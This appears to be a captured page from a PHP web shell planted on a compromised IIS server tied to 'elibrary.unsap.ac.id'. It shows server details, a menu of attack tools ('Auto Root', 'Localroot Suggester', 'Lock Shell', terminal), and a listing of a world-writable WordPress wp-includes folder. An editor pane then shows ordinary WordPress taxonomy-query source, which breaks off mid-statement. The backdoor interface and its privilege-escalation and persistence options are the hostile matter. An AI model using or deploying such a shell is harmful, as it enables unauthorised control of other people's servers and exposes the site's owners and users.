Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 3.133.137.102
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
agreindra /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
IXR
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
PHPMailer
[ DIR ]
drwxrwxrwx
2024-07-15 18:49
Requests
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
SimplePie
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
Text
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
assets
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
block-patterns
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
block-supports
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
blocks
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
certificates
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
css
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
customize
[ DIR ]
drwxrwxrwx
2024-07-15 18:51
fonts
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
html-api
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
images
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
js
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
php-compat
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
pomo
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
rest-api
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
sitemaps
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
sodium_compat
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
style-engine
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
theme-compat
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
widgets
[ DIR ]
drwxrwxrwx
2024-03-18 16:41
admin-bar.php
35.15
KB
-rw-rw-rw-
2023-09-26 23:29
atomlib.php
11.67
KB
-rw-rw-rw-
2022-04-21 18:24
author-template.php
18.51
KB
-rw-rw-rw-
2023-05-15 00:58
block-editor.php
27.27
KB
-rw-rw-rw-
2023-09-28 00:40
block-i18n.json
316
B
-rw-rw-rw-
2021-08-11 16:08
block-patterns.php
12.64
KB
-rw-rw-rw-
2023-11-10 23:00
block-template-utils.php
47.35
KB
-rw-rw-rw-
2023-11-17 14:17
block-template.php
12
KB
-rw-rw-rw-
2023-10-28 01:36
blocks.php
69.78
KB
-rw-rw-rw-
2023-11-06 22:29
bookmark-template.php
12.61
KB
-rw-rw-rw-
2023-06-22 21:57
bookmark.php
15.02
KB
-rw-rw-rw-
2023-07-10 03:17
cache-compat.php
5.83
KB
-rw-rw-rw-
2022-10-11 01:22
cache.php
13.16
KB
-rw-rw-rw-
2022-10-11 01:22
canonical.php
33.27
KB
-rw-rw-rw-
2024-01-26 02:43
capabilities.php
39.09
KB
-rw-rw-rw-
2023-07-10 03:17
category-template.php
55.67
KB
-rw-rw-rw-
2023-09-26 07:27
category.php
12.41
KB
-rw-rw-rw-
2023-08-24 16:01
class-IXR.php
2.48
KB
-rw-rw-rw-
2020-02-06 13:33
class-feed.php
529
B
-rw-rw-rw-
2020-02-06 13:33
class-http.php
367
B
-rw-rw-rw-
2022-06-17 18:20
class-json.php
42.66
KB
-rw-rw-rw-
2023-02-03 20:35
class-oembed.php
401
B
-rw-rw-rw-
2022-06-17 18:20
class-phpass.php
6.55
KB
-rw-rw-rw-
2023-02-13 16:08
class-phpmailer.php
664
B
-rw-rw-rw-
2020-07-21 19:58
class-pop3.php
20.48
KB
-rw-rw-rw-
2023-02-11 19:43
class-requests.php
2.18
KB
-rw-rw-rw-
2023-04-05 20:12
class-simplepie.php
95.82
KB
-rw-rw-rw-
2023-05-13 04:35
class-smtp.php
457
B
-rw-rw-rw-
2021-01-26 20:45
class-snoopy.php
36.83
KB
-rw-rw-rw-
2023-02-03 20:35
class-walker-category-dropdown.php
2.41
KB
-rw-rw-rw-
2023-09-14 19:46
class-walker-category.php
8.28
KB
-rw-rw-rw-
2023-09-08 16:32
class-walker-comment.php
13.88
KB
-rw-rw-rw-
2023-09-09 16:28
class-walker-nav-menu.php
11.05
KB
-rw-rw-rw-
2023-06-27 22:26
class-walker-page-dropdown.php
2.65
KB
-rw-rw-rw-
2023-09-14 19:46
class-walker-page.php
7.43
KB
-rw-rw-rw-
2023-09-14 19:46
class-wp-admin-bar.php
16.96
KB
-rw-rw-rw-
2023-07-10 03:17
class-wp-ajax-response.php
5.14
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-application-passwords.php
12.55
KB
-rw-rw-rw-
2023-05-09 05:37
class-wp-block-editor-context.php
1.32
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-block-list.php
4.66
KB
-rw-rw-rw-
2023-10-09 18:23
class-wp-block-parser-block.php
2.5
KB
-rw-rw-rw-
2023-06-27 07:45
class-wp-block-parser-frame.php
1.87
KB
-rw-rw-rw-
2023-06-27 07:45
class-wp-block-parser.php
11.26
KB
-rw-rw-rw-
2023-10-17 02:17
class-wp-block-pattern-categories-registry.php
5.25
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-block-patterns-registry.php
9.84
KB
-rw-rw-rw-
2023-10-17 22:48
class-wp-block-styles-registry.php
5.75
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-block-supports.php
5.39
KB
-rw-rw-rw-
2023-09-29 17:20
class-wp-block-template.php
1.91
KB
-rw-rw-rw-
2023-06-23 13:29
class-wp-block-type-registry.php
4.9
KB
-rw-rw-rw-
2023-10-12 19:34
class-wp-block-type.php
14.4
KB
-rw-rw-rw-
2023-09-14 20:25
class-wp-block.php
8.2
KB
-rw-rw-rw-
2023-09-09 16:28
class-wp-classic-to-block-menu-converter.php
3.99
KB
-rw-rw-rw-
2023-08-22 00:51
class-wp-comment-query.php
46.71
KB
-rw-rw-rw-
2023-09-09 16:28
class-wp-comment.php
9.15
KB
-rw-rw-rw-
2023-08-24 15:44
class-wp-customize-control.php
25.24
KB
-rw-rw-rw-
2023-09-08 16:32
class-wp-customize-manager.php
197.52
KB
-rw-rw-rw-
2023-09-30 04:39
class-wp-customize-nav-menus.php
55.97
KB
-rw-rw-rw-
2023-09-26 04:05
class-wp-customize-panel.php
10.42
KB
-rw-rw-rw-
2023-09-10 16:04
class-wp-customize-section.php
10.98
KB
-rw-rw-rw-
2023-09-10 16:04
class-wp-customize-setting.php
29.19
KB
-rw-rw-rw-
2023-09-10 16:04
class-wp-customize-widgets.php
69.93
KB
-rw-rw-rw-
2023-09-26 04:05
class-wp-date-query.php
34.88
KB
-rw-rw-rw-
2023-06-22 21:36
class-wp-dependencies.php
13.73
KB
-rw-rw-rw-
2023-09-08 16:32
class-wp-dependency.php
2.57
KB
-rw-rw-rw-
2022-11-25 22:12
class-wp-duotone.php
38.52
KB
-rw-rw-rw-
2023-10-24 18:08
class-wp-editor.php
70.39
KB
-rw-rw-rw-
2023-07-15 03:59
class-wp-embed.php
15.62
KB
-rw-rw-rw-
2023-07-10 03:17
class-wp-error.php
7.33
KB
-rw-rw-rw-
2023-02-21 23:39
class-wp-fatal-error-handler.php
7.69
KB
-rw-rw-rw-
2023-02-23 17:38
class-wp-feed-cache-transient.php
2.53
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-feed-cache.php
969
B
-rw-rw-rw-
2023-08-10 08:06
class-wp-hook.php
15.63
KB
-rw-rw-rw-
2023-09-18 19:41
class-wp-http-cookie.php
7.22
KB
-rw-rw-rw-
2023-06-25 00:17
class-wp-http-curl.php
12.25
KB
-rw-rw-rw-
2023-09-22 01:29
class-wp-http-encoding.php
6.53
KB
-rw-rw-rw-
2023-06-22 21:57
class-wp-http-ixr-client.php
3.42
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-http-proxy.php
5.84
KB
-rw-rw-rw-
2023-06-22 21:36
class-wp-http-requests-hooks.php
1.97
KB
-rw-rw-rw-
2022-12-16 04:32
class-wp-http-requests-response.php
4.3
KB
-rw-rw-rw-
2023-10-11 14:05
class-wp-http-response.php
2.91
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-http-streams.php
16.46
KB
-rw-rw-rw-
2023-09-22 01:29
class-wp-http.php
39.63
KB
-rw-rw-rw-
2023-09-26 23:55
class-wp-image-editor-gd.php
17.11
KB
-rw-rw-rw-
2023-08-19 07:10
class-wp-image-editor-imagick.php
30.47
KB
-rw-rw-rw-
2023-09-08 16:32
class-wp-image-editor.php
17.17
KB
-rw-rw-rw-
2023-09-07 21:59
class-wp-list-util.php
7.27
KB
-rw-rw-rw-
2023-09-09 16:28
class-wp-locale-switcher.php
6.41
KB
-rw-rw-rw-
2023-07-10 04:25
class-wp-locale.php
15.74
KB
-rw-rw-rw-
2023-07-10 04:25
class-wp-matchesmapregex.php
1.78
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-meta-query.php
29.82
KB
-rw-rw-rw-
2023-09-09 16:28
class-wp-metadata-lazyloader.php
6.67
KB
-rw-rw-rw-
2023-05-11 18:15
class-wp-navigation-fallback.php
9
KB
-rw-rw-rw-
2023-10-06 21:06
class-wp-network-query.php
18.84
KB
-rw-rw-rw-
2023-03-10 23:30
class-wp-network.php
11.9
KB
-rw-rw-rw-
2023-07-12 16:46
class-wp-object-cache.php
17.18
KB
-rw-rw-rw-
2023-03-14 23:55
class-wp-oembed-controller.php
6.72
KB
-rw-rw-rw-
2022-11-13 20:51
class-wp-oembed.php
30.66
KB
-rw-rw-rw-
2023-07-10 04:25
class-wp-paused-extensions-storage.php
4.94
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-post-type.php
29.28
KB
-rw-rw-rw-
2023-10-10 21:05
class-wp-post.php
6.33
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-query.php
148.03
KB
-rw-rw-rw-
2023-10-13 06:41
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-rw-rw-
2022-10-04 10:59
class-wp-recovery-mode-email-service.php
10.92
KB
-rw-rw-rw-
2023-05-02 22:45
class-wp-recovery-mode-key-service.php
4.4
KB
-rw-rw-rw-
2023-02-21 22:59
class-wp-recovery-mode-link-service.php
3.38
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-recovery-mode.php
11.17
KB
-rw-rw-rw-
2023-05-02 22:45
class-wp-rewrite.php
61.94
KB
-rw-rw-rw-
2023-09-09 16:28
class-wp-role.php
2.46
KB
-rw-rw-rw-
2023-09-08 16:32
class-wp-roles.php
8.38
KB
-rw-rw-rw-
2023-07-28 18:37
class-wp-scripts.php
27.99
KB
-rw-rw-rw-
2023-10-14 01:46
class-wp-session-tokens.php
7.28
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-simplepie-file.php
3.3
KB
-rw-rw-rw-
2023-08-10 08:06
class-wp-simplepie-sanitize-kses.php
1.73
KB
-rw-rw-rw-
2023-08-10 08:06
class-wp-site-query.php
30.29
KB
-rw-rw-rw-
2023-06-22 21:36
class-wp-site.php
7.28
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-styles.php
10.64
KB
-rw-rw-rw-
2023-05-02 22:45
class-wp-tax-query.php
19.09
KB
-rw-rw-rw-
2023-07-08 17:48
class-wp-taxonomy.php
18.13
KB
-rw-rw-rw-
2023-04-28 06:15
class-wp-term-query.php
40.05
KB
-rw-rw-rw-
2023-11-01 22:15
class-wp-term.php
5.17
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-text-diff-renderer-inline.php
829
B
-rw-rw-rw-
2023-09-08 16:32
class-wp-text-diff-renderer-table.php
18.37
KB
-rw-rw-rw-
2023-10-15 21:55
class-wp-textdomain-registry.php
5.84
KB
-rw-rw-rw-
2023-07-10 04:25
class-wp-theme-json-data.php
1.52
KB
-rw-rw-rw-
2023-09-08 16:32
class-wp-theme-json-resolver.php
24.06
KB
-rw-rw-rw-
2023-09-26 20:47
class-wp-theme-json-schema.php
4.12
KB
-rw-rw-rw-
2023-10-02 18:27
class-wp-theme-json.php
126.52
KB
-rw-rw-rw-
2023-10-10 10:43
class-wp-theme.php
62.76
KB
-rw-rw-rw-
2023-10-21 02:36
class-wp-user-meta-session-tokens.php
2.92
KB
-rw-rw-rw-
2019-01-09 12:04
class-wp-user-query.php
42.37
KB
-rw-rw-rw-
2023-09-08 03:45
class-wp-user-request.php
2.17
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-user.php
22.23
KB
-rw-rw-rw-
2023-07-10 19:53
class-wp-walker.php
12.86
KB
-rw-rw-rw-
2023-09-09 16:28
class-wp-widget-factory.php
3.27
KB
-rw-rw-rw-
2022-09-12 22:47
class-wp-widget.php
17.96
KB
-rw-rw-rw-
2023-08-25 08:28
class-wp-xmlrpc-server.php
209.12
KB
-rw-rw-rw-
2023-09-21 02:31
class-wp.php
25.51
KB
-rw-rw-rw-
2023-08-13 17:31
class-wpdb.php
116.66
KB
-rw-rw-rw-
2023-11-09 03:38
class.wp-dependencies.php
373
B
-rw-rw-rw-
2022-09-20 21:17
class.wp-scripts.php
343
B
-rw-rw-rw-
2022-09-20 21:17
class.wp-styles.php
338
B
-rw-rw-rw-
2022-09-20 21:17
comment-template.php
99.05
KB
-rw-rw-rw-
2023-09-26 04:05
comment.php
126.09
KB
-rw-rw-rw-
2023-09-30 00:13
compat.php
14.86
KB
-rw-rw-rw-
2023-09-09 16:28
cron.php
40.5
KB
-rw-rw-rw-
2023-09-11 12:27
date.php
400
B
-rw-rw-rw-
2022-06-17 18:20
default-constants.php
10.91
KB
-rw-rw-rw-
2023-09-27 00:33
default-filters.php
33.7
KB
-rw-rw-rw-
2024-01-25 02:26
default-widgets.php
2.17
KB
-rw-rw-rw-
2021-05-25 15:27
deprecated.php
179.5
KB
-rw-rw-rw-
2023-10-14 00:21
embed-template.php
338
B
-rw-rw-rw-
2022-06-17 18:20
embed.php
36.78
KB
-rw-rw-rw-
2023-09-26 00:06
error-protection.php
4.02
KB
-rw-rw-rw-
2023-05-02 22:45
feed-atom-comments.php
5.32
KB
-rw-rw-rw-
2023-07-29 07:31
feed-atom.php
2.98
KB
-rw-rw-rw-
2021-11-29 16:52
feed-rdf.php
2.61
KB
-rw-rw-rw-
2020-01-29 07:45
feed-rss.php
1.16
KB
-rw-rw-rw-
2020-01-29 07:45
feed-rss2-comments.php
3.98
KB
-rw-rw-rw-
2023-02-13 01:08
feed-rss2.php
3.71
KB
-rw-rw-rw-
2020-01-29 07:45
feed.php
22.52
KB
-rw-rw-rw-
2023-07-10 04:48
fonts.php
2.28
KB
-rw-rw-rw-
2023-09-08 00:30
formatting.php
327.07
KB
-rw-rw-rw-
2023-09-26 07:27
functions.php
269.73
KB
-rw-rw-rw-
2023-11-16 00:47
functions.wp-scripts.php
14.41
KB
-rw-rw-rw-
2023-11-01 22:15
functions.wp-styles.php
8.38
KB
-rw-rw-rw-
2023-01-15 21:57
general-template.php
163.79
KB
-rw-rw-rw-
2023-11-16 00:47
global-styles-and-settings.php
19.73
KB
-rw-rw-rw-
2023-08-25 02:59
http.php
23.29
KB
-rw-rw-rw-
2023-08-03 19:10
https-detection.php
5.53
KB
-rw-rw-rw-
2023-09-23 02:08
https-migration.php
4.63
KB
-rw-rw-rw-
2023-07-11 05:38
kses.php
70.21
KB
-rw-rw-rw-
2023-09-19 19:30
l10n.php
61.31
KB
-rw-rw-rw-
2023-08-19 00:29
link-template.php
152.42
KB
-rw-rw-rw-
2023-10-16 07:07
load.php
52.86
KB
-rw-rw-rw-
2023-10-09 21:49
locale.php
162
B
-rw-rw-rw-
2019-10-09 00:19
media-template.php
60.37
KB
-rw-rw-rw-
2023-09-26 21:45
media.php
202.5
KB
-rw-rw-rw-
2023-10-12 19:47
meta.php
62.58
KB
-rw-rw-rw-
2023-09-26 22:32
ms-blogs.php
25.03
KB
-rw-rw-rw-
2023-12-05 02:59
ms-default-constants.php
4.79
KB
-rw-rw-rw-
2023-07-11 05:48
ms-default-filters.php
6.48
KB
-rw-rw-rw-
2023-02-24 08:23
ms-deprecated.php
21.25
KB
-rw-rw-rw-
2023-06-22 21:57
ms-files.php
2.65
KB
-rw-rw-rw-
2023-08-23 22:53
ms-functions.php
89.12
KB
-rw-rw-rw-
2023-07-11 05:48
ms-load.php
19.4
KB
-rw-rw-rw-
2023-07-11 05:48
ms-network.php
3.69
KB
-rw-rw-rw-
2023-05-02 18:26
ms-settings.php
4.03
KB
-rw-rw-rw-
2023-06-22 21:57
ms-site.php
39.55
KB
-rw-rw-rw-
2023-09-09 16:28
nav-menu-template.php
25.18
KB
-rw-rw-rw-
2023-02-16 07:04
nav-menu.php
43.04
KB
-rw-rw-rw-
2023-07-11 05:48
option.php
89.2
KB
-rw-rw-rw-
2023-10-31 06:23
pluggable-deprecated.php
6.12
KB
-rw-rw-rw-
2020-01-12 01:32
pluggable.php
110.37
KB
-rw-rw-rw-
2023-10-03 23:15
plugin.php
34.63
KB
-rw-rw-rw-
2023-06-08 14:54
post-formats.php
6.93
KB
-rw-rw-rw-
2023-02-21 23:39
post-template.php
65.23
KB
-rw-rw-rw-
2023-08-22 19:30
post-thumbnail-template.php
10.07
KB
-rw-rw-rw-
2023-05-18 01:31
post.php
271.8
KB
-rw-rw-rw-
2023-10-13 06:41
query.php
36.17
KB
-rw-rw-rw-
2023-08-24 16:01
registration-functions.php
200
B
-rw-rw-rw-
2020-11-12 18:17
registration.php
200
B
-rw-rw-rw-
2020-11-12 18:17
rest-api.php
94.87
KB
-rw-rw-rw-
2023-10-12 19:32
revision.php
30.18
KB
-rw-rw-rw-
2023-10-24 02:56
rewrite.php
19.06
KB
-rw-rw-rw-
2023-07-11 18:15
robots-template.php
5.06
KB
-rw-rw-rw-
2022-04-06 22:33
rss-functions.php
255
B
-rw-rw-rw-
2020-11-17 05:52
rss.php
22.48
KB
-rw-rw-rw-
2023-04-11 02:31
script-loader.php
127.03
KB
-rw-rw-rw-
2023-10-03 01:48
session.php
258
B
-rw-rw-rw-
2020-02-06 13:33
shortcodes.php
23.3
KB
-rw-rw-rw-
2023-10-12 19:47
sitemaps.php
3.16
KB
-rw-rw-rw-
2021-05-16 00:38
spl-autoload-compat.php
441
B
-rw-rw-rw-
2020-11-12 18:17
style-engine.php
7.03
KB
-rw-rw-rw-
2023-09-14 11:56
taxonomy.php
169.46
KB
-rw-rw-rw-
2023-11-01 22:05
template-canvas.php
544
B
-rw-rw-rw-
2023-10-01 07:22
template-loader.php
2.94
KB
-rw-rw-rw-
2020-05-26 16:37
template.php
22.97
KB
-rw-rw-rw-
2023-09-21 00:27
theme-i18n.json
1.12
KB
-rw-rw-rw-
2022-09-21 18:43
theme-previews.php
2.76
KB
-rw-rw-rw-
2023-10-03 05:42
theme-templates.php
6.08
KB
-rw-rw-rw-
2023-10-14 00:21
theme.json
7.13
KB
-rw-rw-rw-
2023-09-21 13:35
theme.php
128.13
KB
-rw-rw-rw-
2023-12-05 02:59
update.php
35.96
KB
-rw-rw-rw-
2023-09-12 22:23
user.php
167.14
KB
-rw-rw-rw-
2023-09-14 08:25
vars.php
6.06
KB
-rw-rw-rw-
2023-09-21 03:51
version.php
928
B
-rw-rw-rw-
2024-01-31 02:10
widgets.php
68.24
KB
-rw-rw-rw-
2023-07-11 06:11
wp-db.php
445
B
-rw-rw-rw-
2022-07-22 05:45
wp-diff.php
647
B
-rw-rw-rw-
2020-02-06 13:33
Save
Rename
<?php /** * Taxonomy API: WP_Tax_Query class * * @package WordPress * @subpackage Taxonomy * @since 4.4.0 */ /** * Core class used to implement taxonomy queries for the Taxonomy API. * * Used for generating SQL clauses that filter a primary query according to object * taxonomy terms. * * WP_Tax_Query is a helper that allows primary query classes, such as WP_Query, to filter * their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be * attached to the primary SQL query string. * * @since 3.1.0 */ #[AllowDynamicProperties] class WP_Tax_Query { /** * Array of taxonomy queries. * * See WP_Tax_Query::__construct() for information on tax query arguments. * * @since 3.1.0 * @var array */ public $queries = array(); /** * The relation between the queries. Can be one of 'AND' or 'OR'. * * @since 3.1.0 * @var string */ public $relation; /** * Standard response when the query should not return any rows. * * @since 3.2.0 * @var string */ private static $no_results = array( 'join' => array( '' ), 'where' => array( '0 = 1' ), ); /** * A flat list of table aliases used in the JOIN clauses. * * @since 4.1.0 * @var array */ protected $table_aliases = array(); /** * Terms and taxonomies fetched by this query. * * We store this data in a flat array because they are referenced in a * number of places by WP_Query. * * @since 4.1.0 * @var array */ public $queried_terms = array(); /** * Database table that where the metadata's objects are stored (eg $wpdb->users). * * @since 4.1.0 * @var string */ public $primary_table; /** * Column in 'primary_table' that represents the ID of the object. * * @since 4.1.0 * @var string */ public $primary_id_column; /** * Constructor. * * @since 3.1.0 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values. * * @param array $tax_query { * Array of taxonomy query clauses. * * @type string $relation Optional. The MySQL keyword used to join * the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'. * @type array ...$0 { * An array of first-order clause parameters, or another fully-formed tax query. * * @type string $taxonomy Taxonomy being queried. Optional when field=term_taxonomy_id. * @type string|int|array $terms Term or terms to filter by. * @type string $field Field to match $terms against. Accepts 'term_id', 'slug', * 'name', or 'term_taxonomy_id'. Default: 'term_id'. * @type string $operator MySQL operator to be used with $terms in the WHERE clause. * Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'. * Default: 'IN'. * @type bool $include_children Optional. Whether to include child terms. * Requires a $taxonomy. Default: true. * } * } */ public function __construct( $tax_query ) { if ( isset( $tax_query['relation'] ) ) { $this->relation = $this->sanitize_relation( $tax_query['relation'] ); } else { $this->relation = 'AND'; } $this->queries = $this->sanitize_query( $tax_query ); } /** * Ensures the 'tax_query' argument passed to the class constructor is well-formed. * * Ensures that each query-level clause has a 'relation' key, and that * each first-order clause contains all the necessary keys from `$defaults`. * * @since 4.1.0 * * @param array $queries Array of queries clauses. * @return array Sanitized array of query clauses. */ public function sanitize_query( $queries ) { $cleaned_query = array(); $defaults = array( 'taxonomy' => '', 'terms' => array(), 'field' => 'term_id', 'operator' => 'IN', 'include_children' => true, ); foreach ( $queries as $key => $query ) { if ( 'relation' === $key ) { $cleaned_query['relation'] = $this->sanitize_relation( $query ); // First-order clause. } elseif ( self::is_first_order_clause( $query ) ) { $cleaned_clause = array_merge( $defaults, $query ); $cleaned_clause['terms'] = (array) $cleaned_clause['terms']; $cleaned_query[] = $cleaned_clause; /* * Keep a copy of the clause in the flate * $queried_terms array, for use in WP_Query. */ if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) { $taxonomy = $cleaned_clause['taxonomy']; if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) { $this->queried_terms[ $taxonomy ] = array(); } /* * Backward compatibility: Only store the first * 'terms' and 'field' found for a given taxonomy. */ if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) { $this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms']; } if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) { $this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field']; } } // Otherwise, it's a nested query, so we recurse. } elseif ( is_array( $query ) ) { $cleaned_subquery = $this->sanitize_query( $query ); if ( ! empty( $cleaned_subquery ) ) { // All queries with children must have a relation. if ( ! isset( $cleaned_subquery['relation'] ) ) { $cleaned_subquery['relation'] = 'AND'; } $cleaned_query[] = $cleaned_subquery; } } } return $cleaned_query; } /** * Sanitizes a 'relation' operator. * * @since 4.1.0 * * @param string $relation Raw relation key from the query argument. * @return string Sanitized relation ('AND' or 'OR'). */ public function sanitize_relation( $relation ) { if ( 'OR' === strtoupper( $relation ) ) { return 'OR'; } else { return 'AND'; } } /** * Determines whether a clause is first-order. * * A "first-order" clause is one that contains any of the first-order * clause keys ('terms', 'taxonomy', 'include_children', 'field', * 'operator'). An empty clause also counts as a first-order clause, * for backward compatibility. Any clause that doesn't meet this is * determined, by process of elimination, to be a higher-order query. * * @since 4.1.0 * * @param array $query Tax query arguments. * @return bool Whether the query clause is a first-order clause. */ protected static function is_first_order_clause( $query ) { return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) ); } /** * Generates SQL clauses to be appended to a main query. * * @since 3.1.0 * * @param string $primary_table Database table where the object being filtered is stored (eg wp_users). * @param string $primary_id_column ID column for the filtered object in $primary_table. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql( $primary_table, $primary_id_column ) { $this->primary_table = $primary_table; $this->primary_id_column = $primary_id_column; return $this->get_sql_clauses(); } /** * Generates SQL clauses to be appended to a main query. * * Called by the public WP_Tax_Query::get_sql(), this method * is abstracted out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { /* * $queries are passed by reference to get_sql_for_query() for recursion. * To keep $this->queries unaltered, pass a copy. */ $queries = $this->queries; $sql = $this->get_sql_for_query( $queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generates SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse (passed by reference). * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( &$query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => &$clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Generates SQL JOIN and WHERE clauses for a "first-order" query clause. * * @since 4.1.0 * * @global wpdb $wpdb The WordPress database abstraction object. * * @param array $clause Query clause (passed by reference). * @param array $parent_query Parent query array. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a first-order query. * * @type string[] $join Array of SQL fragments to append to the main JOIN clause. * @type string[] $where Array of SQL fragments to append to the main WHERE clause. * } */ public function get_sql_for_clause( &$clause, $parent_query ) { global $wpdb; $sql = array( 'where' => array(), 'join' => array(), ); $join = ''; $where = ''; $this->clean_query( $clause ); if ( is_wp_error( $clause ) ) { return self::$no_results; } $terms = $clause['terms']; $operator = strtoupper( $clause['operator'] ); if ( 'IN' === $operator ) { if ( empty( $terms ) ) { return self::$no_results; } $terms = implode( ',', $terms ); /* * Before creating another table join, see if this clause has a * sibling with an existing join that can be shared. */ $alias = $this->find_compatible_table_alias( $clause, $parent_query ); if ( false === $alias ) { $i = count( $this->table_aliases ); $alias = $i ? 'tt' . $i : $wpdb->term_relationships; // Store the alias as part of a flat array to build future iterators. $this->table_aliases[] = $alias; // Store the alias with this clause, so later siblings can use it. $clause['alias'] = $alias; $join .= " LEFT JOIN $wpdb->term_relationships"; $join .= $i ? " AS $alias" : ''; $join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)"; } $where = "$alias.term_taxonomy_id $operator ($terms)"; } elseif ( 'NOT IN' === $operator ) { if ( empty( $terms ) ) { return $sql; } $terms = implode( ',', $terms ); $where = "$this->primary_table.$this->primary_id_column NOT IN ( SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($terms) )"; } elseif ( 'AND' === $operator ) { if ( empty( $terms ) ) { return $sql; } $num_terms = count( $terms ); $terms = implode( ',', $terms ); $where = "( SELECT COUNT(1) FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($terms) AND object_id = $this->primary_table.$this->primary_id_column ) = 